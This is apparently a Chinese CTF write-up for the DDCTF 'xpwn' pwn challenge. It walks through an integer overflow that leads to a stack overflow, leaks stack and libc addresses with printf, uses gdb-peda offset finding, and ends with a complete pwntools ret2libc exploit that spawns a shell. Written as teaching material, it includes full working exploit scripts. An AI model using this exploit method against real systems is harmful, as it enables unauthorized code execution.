0%

滴滴CTF之唯一的pwn题详解

滴滴CTF之唯一的pwn题详解

前言:这道题比赛期间没怎么研究,第一次搞了一天没搞出,不知道什么错,然后放弃了,然后比完后,搜了一波exp后,自己具体调试了一波,懂了整个过程,有些师傅们的wp有些小瑕疵,还有就是师傅们从来不详细写简单题的writeup,导致新手很难懂exp。好了,开始正文:

题目简介

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int a1)
{
int v1; // eax
char buf; // [esp+0h] [ebp-4Ch]
size_t nbytes; // [esp+40h] [ebp-Ch]
int *v5; // [esp+44h] [ebp-8h]

v5 = &a1;
setbuf(stdout, 0);
sub_80485DB(stdin, stdout);
sleep(1u);
printf("Please set the length of password: ");
nbytes = sub_804862D();
if ( (signed int)nbytes > 63 )
{
puts("Too long!");
exit(1);
}
printf("Enter password(lenth %u): ", nbytes);
v1 = fileno(stdin);
read(v1, &buf, nbytes);
puts("All done, bye!");
return 0;
}

sub_80485DB(stdin, stdout)内部代码

1
2
3
4
5
6
7
8
9
10
int __cdecl sub_80485DB(FILE *stream, FILE *a2)
{
int v2; // eax
char buf; // [esp+0h] [ebp-48h]

printf("Enter username: ");
v2 = fileno(stream);
read(v2, &buf, 0x40u);
return fprintf(a2, "Hello %s", &buf);
}

sub_804862D()内部代码

1
2
3
4
5
6
7
8
int sub_804862D()
{
int v0; // eax

v0 = fileno(stdin);
read(v0, nptr, 0x10u);
return atoi(nptr);
}

从sub_804862D()这里明显可以看出整数溢出的洞,输入-1即可,-1在32位机器上为0xffffffff,具体可以自行调试查看,转化为signed int为-1,小于63,接下来在read(v1, &buf, nbytes);就可以输入很长的一串字符,看上去好像很简单对吧,整数溢出,然后接着栈溢出,ROP一波梭。。。我觉得是这样的,可是运行自己的exp起来后,发觉有很大的问题,每次都是出错
1
具体调试,你可以从

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./xpwn')
context.log_level = 'debug'
local = False
local = True
if local :
libc = elf.libc
io = process('./xpwn')
else:
libc = ELF('libc.so.6')
io = remote("116.85.48.105", 5005)

def IntOverFlow(payload):
io.sendline(str(payload))

def UserName(payload):
io.sendafter('Enter username: ', payload)
io.recvuntil(payload)
__ebp__ = u32(io.recv(4))
setbuf = u32(io.recv(4)) - 21
log.success("ebp: " + hex(__ebp__))
log.success("setbuf: " + hex(setbuf))
return __ebp__, setbuf

def Passwd(payload):
io.sendlineafter('Enter password', payload)

if __name__ == '__main__':
addr = UserName('a'*0x28)
ebp = addr[0]
ecx = ebp + 24
setbuf = addr[1]
IntOverFlow(-1)
puts_plt = elf.plt['puts']
libc_base = setbuf - libc.symbols['setbuf']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
#payload = 'a'*0x44 + p32(ecx) + p32(0)*6 + p32(system_addr) + p32(0) + p32(bin_sh)
gdb.attach(io)
Passwd('a'*0x60)
io.interactive()

定位

  • 在具体地方附加,用gdb.attach(io)附加,然后finish 3次出到最外层,最外层的地址就是0x80开头的这种,然后单步运行,你会发觉最后出错的地方在read这里,然后read函数出错,这里我当时不知道怎么继续调试下去了,一直卡死在这,还有个小问题,我发觉第一次printf会输出一些乱码,按照往常来说,这里肯定泄露了信息,所以具体这里泄露了什么信息,就得你自己去发现了。
    后面从大佬的wp里发觉,他说ecx不能改,然后我就去看汇编代码了,

2

  • 发觉最后一行有点道道,你看我上一张图的错误,0x6161615d,为什么不是0x61616161呢,ecx-4,联系起来没有,刚好0x61616161-0x6161615d = 4 ,也就是说,我把ecx覆盖成错误的值了,所以就没法正确读入了,那我如何找到ecx的正确位置呢,这时候就运用gdb了
    我直接将Passwd(‘a’*0x60)这句注释掉,然后python运行这个脚本,然后用
    gdb-peda$ pattern_create 200
    10
    创建一串字符,然后复制,然后
    gdb-peda$ c
    在打开的另一个终端里输入这串字符
    然后获得这张图
    11
    Program received signal SIGSEGV (fault address 0x4141333d)
    有这句话
    然后复制这个address
    0x4141333d,在将他+4,为什么要加4呢,因为我们刚刚那里ecx-了个4
    所以变成0x41413341
    gdb-peda$ pattern_offset 0x41413341
    获得偏移,1094792001 found at offset: 68

定点泄露

68个偏移,好了,知道错误在哪了,如何泄露ecx?关键点来了,还记得刚开始的printf输出的乱码吗,这里肯定有泄露信息,从ida里我看不出什么东西,所以,gdb也调试一波了

你可以直接gdb filename 或者 gdb 启动后在file加载都行,

3

然后输入start开始,这时候你们的界面可能跟我不太一样,因为我装了插件,peda和pwndbg

4

单步输入n 走到push ecx这里,因为我需要的是ecx,和ebp,为什么需要ebp呢,因为知道ebp我在知道偏移,整个栈的位置都知道了,所以我需要把这里的数据记录下来,可以看到,寄存器里存的值

12

ecx 0xffffd160
ebp 0xffffd148
然后我需要继续运行软件,到我应该栈溢出的地方,这时候先下个断,
gdb$ b read
在read函数处下断,然后再
gdb$ c

5

这时候会在read函数处断下,不担心,输入finish
gdb$ finish
然后让你输入名字,直接回车,这时候继续单步,单步就是输入n(next)
13

在fprintf这里停下,看地址,取出0xffffd090
然后
gdb$ x/20wx 0xffffd090
14

好了,我看到关键点了,0xffffd148,在第三行第三列里,也就是ebp的值,也就是说,我们需要输入10个4字节就可以到这个地方,还有,你看ebp后面的地址,0xf7e2c935,这里是不是很像libc函数的地址,这里我为什么说像呢,从上面我看寄存器那张图里可以看到__libc_start_main+241的地址,他就是这个类型的。

所以,我输出一下这里的地址看看内容

1
2
gdb-peda$ x/wx 0xf7e2c935
0xf7e2c935 <setbuf+21>: 0xc31cc483

果真如此,setbuf的地址我们也拿到了,一次性泄露了ebp和setbuf+21的地址,所以这时候怎么获得ecx的值呢,这里你就想每次栈的相对位置会变吗,不会的,所以,开局ebp和ecx的地址相差也不会变,所以我就用ebp和ecx的偏差
ecx 0xffffd160
ebp 0xffffd148
ecx - ebp = 0x18
所以ebp+0x18就是ecx了,找到ecx了,也找到setbuf地址了,现在便剩下

ROP

payload = ‘a’*0x44 + p32(ecx)+p32(system_addr)+p32(0) + p32(bin_sh)
按理说payload这样就行了,先填充位置,在填充ecx,在返回地址就完美了,运行下试试
这里我不告诉你们具体怎么做了,因为都是运行我刚刚讲的几条命令,finish,c,n,

15

看这里esp指向了我的system,也就是说我还没到返回地址,还有你看最后一步,他还会通过ecx-4改掉esp,所以还没到重点,所以很明显,我还要将两个pop填充掉,也就是得弄两个空的给他
payload = ‘a’0x44 + p32(ecx)+ p32(0) * 2 + p32(system_addr)+p32(0) + p32(bin_sh)
这样下去可以填充掉那部分,还有个他改了esp的地址,看他修改了多少偏移
16
从图中可以看出esp跟ecp差了4个偏移,也就是4
4=16大小
所以我们可以
payload = ‘a’*0x44 + p32(ecx-16)+ p32(0) * 2 + p32(system_addr)+p32(0) + p32(bin_sh)
17
yes,成功

小结

现在从整体上来分析下过程,先利用printf泄露ebp和setbuf+21地址,然后利用ebp和ecx的固定偏移计算出ecx,然后定点覆盖到ecx具体地址,定位ret的位置,然后进行payload构造,最后成功ROP
附上最后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./xpwn')
context.log_level = 'debug'
local = False
local = True
if local :
libc = elf.libc
io = process('./xpwn')
else:
libc = ELF('libc.so.6')
io = remote("116.85.48.105", 5005)

def IntOverFlow(payload):
io.sendline(str(payload))

def UserName(payload):
io.sendafter('Enter username: ', payload)
io.recvuntil(payload)
__ebp__ = u32(io.recv(4))
setbuf = u32(io.recv(4)) - 21
log.success("ebp: " + hex(__ebp__))
log.success("setbuf: " + hex(setbuf))
return __ebp__, setbuf

def Passwd(payload):
io.sendlineafter('Enter password', payload)

if __name__ == '__main__':
addr = UserName('a'*0x28)
ebp = addr[0]
ecx = ebp + 24
setbuf = addr[1]
IntOverFlow(-1)
puts_plt = elf.plt['puts']
libc_base = setbuf - libc.symbols['setbuf']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
payload = 'a'*0x44 + p32(ecx-16) + p32(0)*2 + p32(system_addr)+p32(0) + p32(bin_sh)
Passwd(payload)
io.interactive()

总结:

  • 这道题其实不难,难的是大部分要调试,调试部分的话,我写的也7,8成了,具体就靠你们自己慢慢去调试了,关键还是要看清栈的结构,知道他的位置,其余就是基本的ROP了,
  • 虽然题目不难,但我光调试花了好长时间,最主要还是没了解还可以这么玩,学到了师傅们的姿势,谢谢ddctf,谢谢大佬们的writeup
  • 如果还有什么不懂了,可以下方留言

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/afd9f177/
版权声明:转载请注明出处!